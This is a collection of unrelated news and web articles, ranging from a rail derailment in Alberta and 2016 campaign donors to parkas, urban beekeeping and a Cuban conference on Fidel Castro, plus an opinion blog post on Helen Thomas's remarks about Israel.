photos of her taken by a colleague went viral on the internet.  She said the pictures were taken for a bit of fun but ended up almost ruining her life when they were published in 2011.  VIDEO Excuse me Miss! Laura Butler could prove to be a distracting teacher…
-Now that Helen Hitler Thomas has been forcibly retired, more video of the interview miraculously has become available for viewing:  Here’s the “appalling” transcript:  Q: Any advice for these young people over here for starting out in the press corps? Thomas: Go for it. You’ll never be unhappy. You’ll always keep people informed, you’ll always keep learning. The greatest thing of the profession is you’ll never stop learning. Q: Today they are covering the Jewish Heritage Month. Thomas: … and meet the President. A: Any comments on Israel? We’re asking everyone today, any comments on.. Thomas: Tell them to get the hell out of Palestine. Q: Oooh. Any better comments? Thomas: Remember, these people are occupied, and it’s their land. It’s not German and it’s not Poland. Q: So where should they go, what should they do? Thomas: They can go home. Q: Where is home? Thomas: Poland. Germany. Q: So you are saying Jews should go back to Poland? Thomas: And America and everywhere else. Why push people out who have lived their for centuries? See? Q: Now, are you familiar with the history of that region and what took place? Thomas: Very much. I’m of Arab background. {It goes on for a little while with friendly banter about languages they both speak with words I can not even begin to spell.} Q: Thank you. Thomas: All the best to you (directed at the Jewish students). Go for it- go for journalism, you’ll never regret it.  Clearly, this woman is evil beyond words. The way she smiled at those Jewish kids while giving them friendly advice to enter careers in journalism so they can have fulfilling lives of learning and accomplishment when secretly, I have been assured by liberals and others, what she really wants is to transport them back to the gas ovens of the Holocaust (for the morons- see the update).  You guys got played. And by this jackass, running around doing Mexican impressions in his spare time. Does anyone still want to try to pretend she was suggesting people be time-warped back to Auschwitz? Or that her pleasantly offering advice to Jewish students was horrifying anti-Semitism at work? Anyone?  On the upside, no one is talking about the unpleasantness with the flotilla anymore.  *** Update ***  For the folks with comprehension problems, the sarcasm employed regarding her chatting with the students is directed at the foolish notion she was implying folks should head off to the ovens, not to deflect from what I have repeatedly stated were her idiotic and obnoxious remarks. There seems to be some desire in every one of these pile-ons to turn stupid remarks by someone into something altogether unforgivable. I’m reminded of the time I spent days arguing that no, Republican Bill Bennett wasn’t actually suggesting that all black babies be aborted in order to lower the crime rate.  Grow up. What Thomas said was stupid enough. She’s lost her job. There is no reason to pretend she was implying people should be sent off to Nazi Germany or Poland and be exterminated. Quit making things up and impugning those who aren’t into playing your games. I think (again, as I have stated repeatedly), the state of Israel and her citizens have every right to exist. I don’t think, however, that criticism of policies of the state of Israel are somehow verboten.
-Train traffic is again moving this morning after a 13-car derailment near Peers, west of Edmonton early Sunday morning.  Patrick Waldron, a spokesperson for CN Rail, said the train derailed around 1 a.m. MT Sunday near Peers in Yellowhead County, about 180 kilometres west of Edmonton.  Waldron said the 137-car train was en route from Prince George to Edmonton when it derailed.  One of the derailed cars is a dangerous goods tanker carrying sulphur dioxide. The other 12 cars were loaded with lumber.  The dangerous goods car is upright and not leaking, said Waldron, who added there are no environmental concerns or threats to the public at this time.  Fire officials from Yellowhead County have been in touch with CN and have assessed the crash site, but firefighters were not needed.  CN Rail crews are on the scene.  The cause of the derailment remains under investigation; however, the Transportation Safety Board said it will not be sending investigators.  Nearby residents first thoughts were of Gainford  Sunday's incident occurred along the same tracks as the 13-car derailment near Gainford only two weeks ago. The two derailments occurred about 90 kilometres apart.  The TSB is still investigating the cause of that crash, which forced about 100 people from their homes for several days while crews worked to put out flames on two cars containing liquefied petroleum gas.  Theresa Lytle, who works in Peers, told CBC’s Laura Osman her first reaction to the derailment was bafflement.  “Really? So soon after the one at Gainford?” she said.  Lytle said she was relieved to realize the derailed cars were primarily lumber, unlike the petroleum gas and crude oil that complicated the situation in Gainford.  But she did say the derailment gave her pause for how the community would have been impacted should the incident have been more serious.  “I was kind of wondering with the one at Gainford if it would happen here, with the houses being so close to the railroad.”  Resident Erville Lennon echoed Lytle’s concerns, saying his first thought was concern for the people and environment near the derailment.  “You wonder what’s going on: are they maintaining their tracks or not maintaining their tracks for that to happen that quickly?”  Yellowhead County Mayor Gerald Soroka said Sunday's derailment did not impact his faith in CN. (Doug Steele/CBC)  Yellowhead County Mayor Gerald Soroka said he’s aware the community got off relatively easy.  “We only had a few issues arise from it," he said. "There was no loss of life, we didn’t have to shut down any major highways, we didn’t have to have our fire departments involved in this – so there were some benefits.”  And while he said the crash will likely spur CN to look more closely into their operations and day-to-day maintenance, he said he’s not too worried about future trains crossing through the county.  “I do put a lot of trust and faith in CN,” he said. “I feel they’ve done a very good job keeping the train on the rails. I believe it’s always going to be a concern but hopefully it doesn’t ever happen – a derailment such as the one that happened in Quebec, for instance.”  Call to action  Greenpeace spokesman Mike Hudema spoke out Sunday afternoon about the recent string of derailments.  "This is another derailment that we're dealing with in a province that has already seen its fair share of derailments in the recent months. There really is a lot that we need to be doing to improve rail safety that is not being done."  Hudema suggested Ottawa conduct an independent review of petrochemical transportation across the country. He said the public should also be told about the dangers associated with hazardous materials moving through their communities.  "It's time that the federal government actually steps up and does its job."
-By Rick Newman and Emma Peters  Bernie Sanders is far behind Hillary Clinton in the polls, but the liberal curmudgeon is tied with Clinton in one interesting contest: the number of Google (GOOGL) employees donating to the campaign. Each candidate has received money from 26 Googlers, according to the latest federal fundraising records.  The 2016 presidential election is still 16 months away, but the fundraising push is in high gear, given that the winner may need $1 billion or more to win the White House. Candidates and groups supporting them are likely to spend the most money ever in a presidential campaign, partly because the Faustian innovation known as super PACs allows rich donors to give unlimited amounts to groups affiliated with candidates they support.  Two super PACs supporting Jeb Bush, the presumed Republican front-runner, have raised a whopping $108 million so far, according to the Bush campaign. They could pull in several multiples of that by Election Day. Super PACs supporting Hillary Clinton, Bush’s Democratic counterpart, have raised just $24 million so far, though Clinton’s campaign proper has outraised Bush's by more than 4 to 1.  Yahoo Finance is closely following the money pouring into the 2016 campaign, and we analyzed newly released data to see which companies are aligned with which candidates. (Our full methodology is at the end of this story.) Not surprisingly, Bush and Clinton are pulling down millions from deep corporate connections. But we found a few unexpected things as well. While it’s no secret that Jeb Bush is Wall Street's preferred candidate, for instance, Hillary Clinton more than makes up for that with thousands of donations from attorneys at powerful law firms.  Many analysts consider ultraconservative Sen. Ted Cruz of Texas a fringe candidate, yet his campaign ranked second in the amount of money raised through the first half of 2015. And the iconoclastic Sanders—a self-described socialist—has a respectable amount of support from pockets of corporate America, with donations coming from employees of Google, Microsoft (MSFT), Wells Fargo (WFC), United Airlines (UAL) and other firms.  We researched the top sources of money for the 7 candidates whose campaigns raised more than $5 million during the first six months of the year. Donor records list contributions by individual, not by company. But they require contributors to declare their employer, if they have one, which allowed us to see which organizations have the most employees donating to a particular candidate. Here's what we found:  Hillary Clinton (Democrat). Total raised: $47.5 million. Jeb Bush has the richest super PAC, but Clinton grabbed far more cash from donors giving directly to a campaign. Law firms were Clinton’s biggest donors. Florida-based litigation firm Morgan & Morgan had the most givers, with 155 different attorneys and other employees donating to Clinton. Powerhouse firms Debevoise & Plimpton and Akin, Gump, Strauss, Hauer & Feld came next, with 49 and 48 donors, respectively. Clinton’s fourth-biggest source of funds was L.A. talent firm Creative Artists Agency, with 47 donors—indicating her strong foothold in Hollywood. Rounding out the top 5: Morgan Stanley (MS), with 44 employees giving to Clinton’s campaign.  [Get the Latest Market Data and News with the Yahoo Finance App]  Ted Cruz (Republican), $14.1 million. Cruz’s biggest source of funds so far is Texas-based Woodforest National Bank, whose CEO, Robert Marling, is a big Republican donor and Cruz backer. Other firms with employees donating to Cruz include mining firm Jennmar and the U.S. Postal Service. One surprise in Cruz’s records is the light showing by Goldman Sachs (GS), which only had three employees who donated to Cruz. The candidate’s wife, Heidi, is a high-ranking Goldman exec on unpaid leave for the duration of Cruz's campaign, which was expected to draw a meaty chunk of Goldman money but so far hasn’t.  Bernie Sanders (Democrat), $13.7 million. The left coast likes the leftist Sanders, with Google (26 donors) and Microsoft (15 donors) being his top sources of corporate money. Wells Fargo and United Airlines each had 8 workers donating to Sanders, while Princeton University had 5.  Jeb Bush (Republican), $11.4 million. Bush ranked fourth in money donated directly to the campaign, but he didn’t declare his candidacy until mid-June, so his $11.4 million haul represented only about two weeks of fundraising. Bush’s biggest source of funds is Wall Street bank Goldman Sachs, with 55 donors, followed by investing firm Neuberger Berman, with 23 donors. Tenet Healthcare (THC)—where Bush was a director from 2007 through 2014—is Bush’s third-biggest source of money, with 13 donors.  Story continues
-Thank you for supporting the journalism that our community needs!  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  *Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.  Thank you for supporting the journalism that our community needs!  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  Thank you for supporting the journalism that our community needs!  For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:  We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.  The Omaha man was driving near Sherbrook Street and Notre Dame Avenue when his 2012 Ford Focus got hung up on a snowbank. A van pulled up, and three people got out and said they could push the car out.  Winnipeg police say a Nebraska man got stuck in the snow last Saturday morning in the inner city and then had his car stolen when three seemingly kind-hearted Winnipeggers stopped by to help.  Hey there, time traveller! This article was published 7/1/2014 (1875 days ago), so information in it may no longer be current.  Hey there, time traveller!  This article was published 7/1/2014 (1875 days ago), so information in it may no longer be current.  Call them wolves in Samaritans' clothing.  Winnipeg police say a Nebraska man got stuck in the snow last Saturday morning in the inner city and then had his car stolen when three seemingly kind-hearted Winnipeggers stopped by to help.  The Omaha man was driving near Sherbrook Street and Notre Dame Avenue when his 2012 Ford Focus got hung up on a snowbank. A van pulled up, and three people got out and said they could push the car out.  Their intentions were less than honourable.  "The keys were in the ignition. A male got into the car and when it was freed, he drove off," said Const. Jason Michalyshen, a spokesman for the Winnipeg Police Service.  Two females then jumped in the van and sped off, leaving the man stranded in the bitter cold.  Michalyshen said the car was recovered Monday in a Windsor Park shopping mall lot, but sustained damage and was towed to a Manitoba Public Insurance compound.  The American visitor, who has relatives in Manitoba, has since returned home.  No arrests have been made. Investigators are checking footage from surveillance cameras near where the vehicle was stolen and also where it was dumped by the car thief.  Christine Fisher, whose business is near the lot where the car was dumped, contacted police about the abandoned Focus. She was later told by an officer about the scam to rip off the car.  "These thugs make me embarrassed to be a Winnipegger," said Fisher. "I'm sure this man will think Winnipeg is a horrible place."  The story was just one of many over the last few weeks where a warm vehicle was a hot item for car thieves.  In fact, of the 166 vehicles stolen in the city in December, 52 were taken when the vehicle was running with the keys in the ignition. Another 34 vehicles were stolen after the keys were lifted (or misplaced) in public areas, and 15 vehicles were swiped when owners left spare keys in the vehicle. Another 65 vehicles were stolen in Winnipeg under different circumstances.  Though starting the car and letting it warm up is a common practice during this chilly winter, police remind residents to never leave their vehicles unattended while running or just with the keys in the ignition, for any period of time.  Police are also looking at how many of the 166 pilfered vehicles were used in other criminal acts.  While he couldn't say definitively, Michalyshen said one was used to facilitate a break-in to another vehicle, two were intentionally set on fire after being stolen and another was involved in a gas-and-dash from a service station.  While stealing a car is a crime, the larger and more pressing concern is what car thieves do with the vehicle once they get their mitts on it.  "That is the concern. It's not just the vehicle being stolen... In a lot of different cases, as soon as these vehicles are stolen, (thieves) will use those vehicles to become involved in other criminal acts," said Michalyshen. "Having a stolen vehicle, for some of these individuals, it almost feels like a bit of a force field — no one's going to identify them... and they will drive these vehicles erratically, put other people at risk; they'll put officers at risk."  — with files from James Turner  jason.bell@freepress.mb.ca
-AMG  Since adding more cool to anmachine is a very difficult task, you should not be surprised it took 9 months to design the new bike. Similarly to how long it takes for a new human being to be conceived and born, the Vilner AMG Diavel needed an immense amount of careful planning and revising the details until the modifying process could begin.The only thing which sustained a high degree of re-working was the tail of the bike, now slimmer and sporting a more aggressive stance.White was used for the frame and several other bodywork parts: the contrast enhances the mean nature of the Diavel as the visual effect puts more of the complex shapes on display.New air ducts have been crafted, and they received black leather straps with contrasting white stitching, all in perfect harmony with the white swingarm covers and headlight trim. And since the rear end was changed, Vilner also reworked the suspension covers for the fork.The AMG wheels, exhaust and the luxurious Alcantara embossed seat were left untouched, as there was nothing more one could do to make them better.It looks like the owner of this Ducati Diavel AMG (#350, by the way) was not entirely happy with the degree of uniqueness of his ride. We totally understand the guy, but after these final Vilner touches the bike simply cannot get any more exclusive and singular.
-We all make mistakes and most of us feel bad about our screw ups, miscalculations, and forays down the wrong rabbit holes. It turns out being wrong some of the time is the price we pay for having powerful cognitive abilities.  Photo by nighthawk7.  Human thought process is driven almost entirely by inductive reasoning. We don't search for the answer or solution that is most absolutely correct in a given situation, we search for and provide the answer that has the highest probability of being correct. This leads to us being right most of the time—we're the experts in the animal kingdom at "guessing" with a very high probability of being right—but inevitably leads to us being wrong some of the time. Kathryn Schulz, the author of Being Wrong: Adventures in the Margin of Error is intent on changing the way people view mistakes and embracing that errors are just part of the package when dealing with the brilliance of the human mind.  Advertisement  So how can embracing error help boost workplace productivity? Once you acknowledge that people can't have a perfect record and that mistakes will happen you can start focusing on how to minimize the impact of mistakes and if there are external factors leading to the errors that are made. When you abandon the stance that the mistake-maker is flawed and embrace the stance that mistakes are part of human cognition and everyone will make them, you can focus on productivity instead of scapegoating the mistake makers. Where can we see this mentality in action? She writes:  The aviation industry has turned itself into what is arguably the safest high-stakes industry in the world by cultivating a productive obsession with error. Aviation personnel are encouraged and in some cases even required to report mistakes, because the industry recognizes that a culture of shame doesn't discourage error. It merely discourages people from acknowledging and learning from their mistakes. Cockpits are equipped with multiple backup systems - from copilots to autopilots to automated warnings to emergency checklists - to compensate for the most probable sources of human error. And those mistakes that do occur are exhaustively investigated in an effort to prevent them in the future.  Advertisement  While you may not work in an industry where your "Oops!" moments result in the fiery deaths of hundreds of passengers you can still benefit from adopting a mindset that accepts mistakes will happen and focuses instead on mitigating them and looking at the environment to solve the mistake instead of punishing yourself or others. Check out the full article at the link below for a much longer and fascinating look at Kathryn Shultz's research. Have your own experiences at a company that has adopted a more progressive stance about mistakes and how to mend them? Let's hear about it in the comments.  The Bright Side of Wrong [The Boston Globe]
-Jon Stewart showed considerable restraint this week when he welcomed Melody Barnes, President Obama’s chief of domestic policy, on The Daily Show and she spoke about the administration’s education reforms in a way that revealed how out of touch the White House is on the subject.  Stewart asked Barnes, who is leaving her post as director of Obama’s Domestic Policy Council at the end of the year, what she was most proud of. She singled out the administration’s education policies, both K-12 and higher education, though Stewart steered the converation to the former.  When Barnes said that “we are turning schools around” and that the multi-billion-dollar Race to the Top competition is a paradigm shift away from the “cookie cutter approach” to education than the prescriptive No Child Left Behind, Stewart was clearly not buying it.  Said Stewart:  “The biggest complaint I hear from teachers, and by teachers I mean my mom... A) Why did you wear that shirt? and B) the teaching to the test. This idea that this Race to the Top, No Child Left Behind, these benchmarks that have been given from Washington have caused schools to focus entirely on whatever benchmark or requirement they need to get funding, and it has removed from education the, I guess what you’d call it, the educating.”  The crowd laughs. It’s clear Stewart isn’t a Race to the Top fan.  Barnes, noting that her mother was a teacher too, quickly responds:  “That’s what we’re trying to turn around. No Child Left Behind had that cookie cutter one-size-fits-all approach to education. And instead what we’ve done through Race to the Top, and most recently because Congress wouldn’t move on reauthorizing the No Child Left Behind Act and turning it around, we’ve used our flexibility in the executive branch to say, ‘You’ve got some relief if you are going to put in place some smart reforms from those mandates from No Child Left Behind so there’s more flexiblity, there’s more innovation, there’s more creativity so teachers can in fact teach.”  At that point, Stewart might have lowered a hammer on her if she had been, say, Jim Cramer, the former hedge fund manager turned television personality who Stewart took apart in 2009 for Cramer’s financial commentary while the economy was melting down.  After all, Race to the Top — a competition that has states vie for federal funds by promising to implement reforms championed by the Education Department — does, in fact, extend NCLB’s obsession with standardized testing. How? By requiring that teacher evaluation be in part measured by the scores students get on these exams. There is no concrete evidence that any of the Race to the Top reforms actually improve student achievement, but when has education policy paid attention to research?  But Stewart lets Barnes off easy, perhaps recognizing there was no point in a frontal assault. Instead, he said:  “So your feedback... The feedback I’m getting is that Race to the Top has intensified the issue, not alleviated it, but I guess the people I talk to don’t work in the White House.”  Barnes proceeded to chastize him as if she were a kindergarten teacher talking to a 5-year-old. She said, “Now, now, now.”  He let her persist in defending Race to the Top, saying that in states that have won money in the competition, teachers and principals and parents and community leaders have all come together to “focus on plans to help reform education.”  I’m not sure to what states she was referring, as the initial rounds of Race to the Top money included nothing about parent or teacher involvement in reform plans, and many public school teachers are strongly opposed to linking their evaluations to student test scores.  Stewart tried yet again, saying, “I’ve always found with education that individuals are the ones that make the enormous difference. And the more that you are able to empower a great teacher, a great principal, a great superintendent, that can make enormous diferences. How do we empower the individuals to have the authority and responsibility to make those changes and not tie them to arbitrary objective realities or goals?”  And they kept talking until, apparently, Stewart realized it was hopeless.  He suggested that schools raise money by renting out rooms at night: “Brothels.”  Barnes said the only thing that made much sense: “Not the brothel plan.”  The takeaway? Administration officials either are oblivious to the opposition to their education policies — which is significant enough that the host of a news satire television show knows about it — or they are willfully ignoring it.  Either way, we’ve got a problem.  Follow The Answer Sheet every day by bookmarking http://www.washingtonpost.com/blogs/answer-sheet. And for admissions advice, college news and links to campus papers, please check out our Higher Education page. Bookmark it!
-"Anorak" redirects here. For other uses, see Anorak (disambiguation)  parkas An Inuit family wearing traditional Caribou  A parka or anorak is a type of coat with a hood, often lined with fur or faux fur. The Caribou Inuit invented this kind of garment, originally made from caribou or seal skin, for hunting and kayaking in the frigid Arctic. Some Inuit anoraks require regular coating with fish oil to retain their water resistance.  The words anorak and parka have been used interchangeably, but they are somewhat different garments. Strictly speaking, an anorak is a waterproof, hooded, pull-over jacket without a front opening, and sometimes drawstrings at the waist and cuffs, and a parka is a hip-length cold-weather coat, typically stuffed with down or very warm synthetic fiber, and with a fur-lined hood.  Etymology [ edit ]  The word anorak comes from the Greenlandic (Kalaallisut) word annoraaq. It did not appear in English until 1924; an early definition is "a beaded item worn by Greenland women or brides in the 1930s". In the early 1950s it was made from nylon, but changed to poplin by 1959, when it was featured in Vogue magazine as a fashion item. In 1984, The Observer used the term to refer to the type of people who wore it and subsequently, in the United Kingdom, it is sometimes used as a mildly derogatory term.[1]  The word parka is derived from the Nenets language.[2] In the Aleutian Islands the word simply means "animal skin".[3] It first entered the English written record in a 1625 work by Samuel Purchas.  The Inuit who speak Inuktitut use parkas and have various terms related to them as follows:  Inuktitut terminology[4] English Inuktitut syllabics Roman Inuktitut IPA woman's parka ᐊᕐᓇᐅᑎ irnauti [iʁ.na.u.ˈti] parka tail ᓂᖏᒻᓇᖅᑐᖅ ningimnaqtuq [ni.ŋim.naq.ˈtuq] parka hood ᐊᒪᐅᑦ amaut [a.ma.ˈut] parka decoration ᑰᑦᓯᓂᕈᑎ kuutsinaruti [kuːt.si.na.ʁu.ˈti] parka material ᐊᑎᒋᑦᓴᖅ atigitsaq [a.ti.ɣit.ˈsaq] parka button ᓇᑦᑐᕋᖅ naturaq [nat.tu.ˈʁaq] parka belt ᑕᑦᓯ tatsi [tat.ˈsi]  Amauti [ edit ]  The amauti (also amaut or amautik, plural amautiit)[5] is the parka worn by Inuit women of the eastern area of Northern Canada.[6] Up until about two years of age, the child nestles against the mother's back in the amaut, the built-in baby pouch just below the hood. The pouch is large and comfortable for the baby. The mother can bring the child from back to front for breastfeeding or for eliminatory functions without exposure to the elements.[6] This traditional eastern Arctic Inuit parka, designed to keep the child warm and safe from frostbite, wind and cold, also helps to develop bonding between mother and child.[7]  N-3B ("scrub snorkel" or "snorkel") parka [ edit ]  A civilian snorkel parka manufactured in the 1980s by Lord Anthony.  The original snorkel parka (USAF N-3B parka, which is 3/4 length and has a full, attached hood; the similar N-2B parka is waist-length and has an attached split hood) was developed in the United States during the early 1950s for military use, mainly for flight crews stationed in extremely cold areas. It was designed for use in areas with temperatures as low as −60 °F (−51 °C). Originally made with a sage green DuPont flight silk nylon outer and lining it was padded with a wool blanket type material until the mid-1970s when the padding was changed to polyester wadding making the jacket both lighter and warmer. The outer shell material also was changed to a sage green cotton-nylon blend, with respective percentages 80–20, 65–35, and 50–50 being used at various times.  It gained the common name of "snorkel parka" because the hood can be zipped right up leaving only a small tunnel (or snorkel) for the wearer to look out of. This is particularly effective in very cold, windy weather although it has the added liabilities of seriously limiting the field of vision and hearing. Earlier Vietnam-era hoods had genuine fur ruffs; later versions used synthetic furs. Original manufacturers of this parka for the government included Skyline, Southern Athletic, Lancer, Greenbrier, Workroom For Designers, Alpha, and Avirex.  The basic N-3B parka design was copied and sold to the civilian market by many manufacturers with varying degrees of quality and faithfulness to the original government specifications. Surplus military parkas are often available for relatively low prices online and in surplus stores; they compare quite favorably with civilian extreme-cold parkas of all types due to their robust construction, designed for combat conditions, and warmth.  The 1970s–1980s civilian version of the parka was made in many colors – navy blue, green, brown, black, maroon, grey, royal blue, sky blue and bright orange. Most had an orange diamond quilted nylon lining, although a very small number did have alternative colored linings such as yellow, pale blue, and green. While still manufacturing parkas to the military standard, Alpha Industries have more recently[when?] adopted the orange lining and a slimmer fit when producing their VF59 model parka which is now more popular than the military version.  In the late 1980s the snorkel parka came to be associated in the UK with trainspotters, who would supposedly wear them, giving birth to the slang term there anorak.  In Europe the snorkel parka started to regain popularity in the late 1990s and early 2000s.  Fishtail parka [ edit ]  M-51 fishtail parka. This was a favorite among the mod subculture  The fishtail parka was first used by the United States Army in 1950 during the Korean War. Following the end of the Second World War the US army recognized the need for a new cold weather combat system, resulting in four main styles of fishtail parka: the EX-48, M-48, M-51 and the M-65. The M stands for military, and the number is the year it was standardized. The EX-48 model was the first prototype or "experimental" precursor to all of them. The M-48 then being the first actual production model fishtail parka after the pattern being standardized on December 24, 1948.  The name fishtail comes from the fish tail extension at the back that could be folded up between the legs, much like a Knochensack, and fixed using snap connectors to add wind-proofing. The fishtail was fixed at the front for warmth or folded away at the back to improve freedom of movement when needed.  The EX-48 parka is distinctive as it has a left sleeve pocket and is made of thin poplin, only the later production M-48 parkas are made of the heavier sateen canvas type cotton. The EX-48 also has a thin fibre glass based liner that is very light and warm, the M-48 has a thicker wool pile liner with an integral hood liner made of wool. Both are distinguishable from any other type of parka by having the sleeve pocket. This was dropped for the M-51 onward. The fur ruff on the hood is also fixed to the shell of an EX-48/M-48 and is of wolf, coyote or often wolverine. The M-48 parka was costly to produce and therefore only in production for around one year. The pockets were wool lined both inside and out. The cuffs had two buttons for securing tightly around a wearer's wrist. The later more mass-produced M-51 parka had just the one cuff button. The liner had a built in chest pocket which again was unique to the M-48 parka.  The next revision was the M-51, made because the M48 was so good and of such high quality it was just too expensive to mass-produce.  The outer hood of the M-51 Fishtail Parka is integral to the parka shell, an added hood liner as well as a button in main liner make the M-51 a versatile 3 piece parka. The idea behind this 3 part system was to enable a more customisable parka that allowed for easier cleaning of the shell as the hood fur was on the detachable hood liner, not fixed to the shell as in the M-48. It also allowed for both liners to be buttoned in or our depending on the temperature and hence warmth required. It was also cheaper than the M-48 to mass-produce The early M-51 was made of heavy sateen cotton, the same material as the M-48. Later revisions of the M-51 were poplin based. The later liners were also revised from the "heavy when wet" wool pile to a lighter woolen loop or frieze wool design that dried easier and were far lighter. The frieze liners were constructed of mohair and were designed using a double loop system which repelled cold weather.  The M-65 fishtail parka has a detachable hood and was the last revision. It features a removable quilted liner made of light nylon / polyester batting which are modern synthetic materials. The M-65 fishtail parka first came into production in 1968. These parkas featured synthetic fur on the hoods after an outcry from the fur lobby. As a result, only hoods for these parkas made in 1972 and for one year later have real fur.  Designed primarily for combat arms forces such as infantry, they are to be worn over other layers of clothing; alone, the fishtail parka is insufficient to protect against "dry cold" conditions (i.e. below about -10 °C). As such all fishtail parkas are big as they were designed to be worn over battle dress and other layers.  In the 1960s UK, the fishtail parka became a symbol of the mod subculture. Because of their practicality, cheapness and availability from military surplus shops, the parka was seen as the ideal garment for fending off the elements and protecting smarter clothes underneath from grease and dirt when on the mod's vehicle of choice, the scooter. Its place in popular culture was assured by newspaper pictures of parka-clad mods during the Bank Holiday riots of the 1960s.  Cagoule [ edit ]  A cagoule is the British English term for a lightweight, weatherproof anorak or parka, usually unlined and sometimes knee-length.[8] A cagoule could be rolled up into a very compact package and carried in a bag or pocket. It was invented by Noel Bibby of Peter Storm Ltd. in the early 1960s.[9] It may have a full-zippered front opening, or pull over the head like an original anorak and close with snaps or a short zipper, has an integral hood, and elasticated or drawstring cuffs. In some versions, when rolled up, the hood doubles as a bag into which the rest of the coat is pushed. It became very popular in the United Kingdom during the 1970s.  See also [ edit ]  References [ edit ]
-Urban beekeepers in New York City no longer have to keep the honey of their labors a secret. The city's health board voted Tuesday to overturn a longtime ban on beekeeping within city limits.  Previously, the city's health code had placed honeybees in the same category as about 100 other creatures deemed too hazardous to be kept in town, including ferrets and poisonous snakes. Bees do sting, after all, and their venom can be dangerous to some people with severe allergies.  Yet, over the years, the ban was both little-known and lightly enforced. Some New Yorkers have secretly tended hives on rooftops and gardens for years in either defiance or ignorance of the regulations. [Click here to read the Monitor's article on urban beekeeping – City bees are all the buzz – which was published before the ban was lifted.]  And lately, bees have picked up political cache among a growing number of green-minded folk interested in seeing organic agriculture return to big American cities. The movement to end the ban picked up after Michelle Obama had a hive installed on the South Lawn of the White House.  "The bees are a great way to start that conversation," said David Vigil, a coordinator at the urban agriculture group East New York Farms!, which conducts seminars on beekeeping and has two hives at its youth garden in Brooklyn.  A hive can produce as much as 100 pounds of honey per year, he said, and the bees are useful for pollinating all sorts of crops.  "There are very few instances of people being stung," he added. Honeybees "are naturally defensive, but they are not aggressive at all."  People interested in starting a bee colony will need to register their hives with the city, but no license will be required. Health officials said the register will mostly be used to help resolve any complaints that may arise.  Previously, the city had investigated a few dozen complaints a year about illegal hives, and issued fines to some violators as high as $2,000.  The city lifted the ban for only one type of bee, the honey-producing Apis mellifera. Wasps, hornets, and other types of stinging insects are still banned.  -----  To read more about gardening, see the Monitor's main gardening page and our lively gardening blog, Diggin' It. Both of these have new URLs, so we hope you'll bookmark them and return. Want to be notified when there's something new in our gardening section? Sign up for our RSS feed.
-President Trump on Friday said Republicans should just repeal ObamaCare and replace it later if they are unable to agree on healthcare legislation.  In doing so, he appeared to offer support for an idea that conservative lawmakers, including Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ky.), have floated in recent days.  If Republican Senators are unable to pass what they are working on now, they should immediately REPEAL, and then REPLACE at a later date! — Donald J. Trump (@realDonaldTrump) June 30, 2017  The call for action comes days after GOP Senate leadership postponed a procedural vote on their healthcare overhaul in the face of sinking support.  The conservatives say their repeal now and replace later plan is a way to make sure the GOP keeps its promise to repeal the law before worrying about the harder task of replacement. It's likely a nonstarter with moderate Republicans, however, who fear it would leave too many without coverage.  Sen. Ben Sasse (R-Neb.) on Friday sent a letter to the president calling for the same strategy of passing repeal first and replacement later, if Republicans cannot reach a deal by July 10.  Paul has also proposed the idea of passing repeal first and then separately working on replacement, and praised Trump's suggestion.  I have spoken to @realDonaldTrump & Senate leadership about this and agree. Let's keep our word to repeal then work on replacing right away. — Senator Rand Paul (@RandPaul) June 30, 2017  Paul and Sasse are frustrated that Senate Republicans are struggling to move forward with healthcare reform legislation at the moment.  But more moderate senators already rejected this strategy early this year, saying that the public needs to know what the replacement is at the same time repeal passes.  Updated at 9:32 a.m. Tristan Lejeune contributed.
-Share  GUANTANAMO, Cuba, Nov 16 (acn) The participants to the 1st National Scientific Event Reflecting on the Ideals of the Cuban leader said on Thursday in Guantanamo that the best tribute to Fidel Castro's life is to study his thinking and follow his teachings.  The scientific program began on Thursday with a conference by Dr. Rafael Cervantes Martinez, Director of the Department of Marxism and History of the Ministry of Higher Education (MES) who spoke on the influence of the Marxist-Leninist ideology in the actions of the leader of the Revolution.  Cervantes Martinez said at the 1st National Scientific Event on the thinking of Fidel Castro in Contemporary Times, that one must lead a country with intelligence to face a power like the United States for so long.  He added that Fidel Castro enriched Marxism-Leninism, developing and assuming the history that ended under the premise in continuing a doctrine without betraying his principles.  Cervantes Martinez pointed out that the leader of the Revolution constitutes a permanent summary of the best of culture and universal science, as a gifted being with a profound dialectic character in the understanding of society and capable of forming an ideological and political unity of the Cuban nation.  A special panel on the importance of the revolutionary and political thinking of Fidel Castro was carried out during the first day of sessions with the participation of PhD's Eugenio Suarez Perez, Elvis Rodriguez Rodriguez and Jose Antonio Rodriguez Ben.  During the event, the panelists highlighted the confluence between Fidel and Raul Castro and their affinity in the need to guarantee unity in the construction of a political model chosen by the Cuban people.  Thursday's program included symposiums with issues like the fundamental thinking in the ideology of the Cuban Revolution in addition to the influence of National Hero Jose Marti, Heroic Guerrilla Ernesto Che Guevara and the Marxism-Leninism in the actions of Fidel Castro.  Sponsored by the 1st National Scientific Event, among other institutions, MES, the Jose Marti Cultural Society, the Cuban Pedagogical Association and the Honorific School for the Study of the Thinking and Work of Fidel Castro and the Afro-Caribbean Studies of the University of Guantanamo.
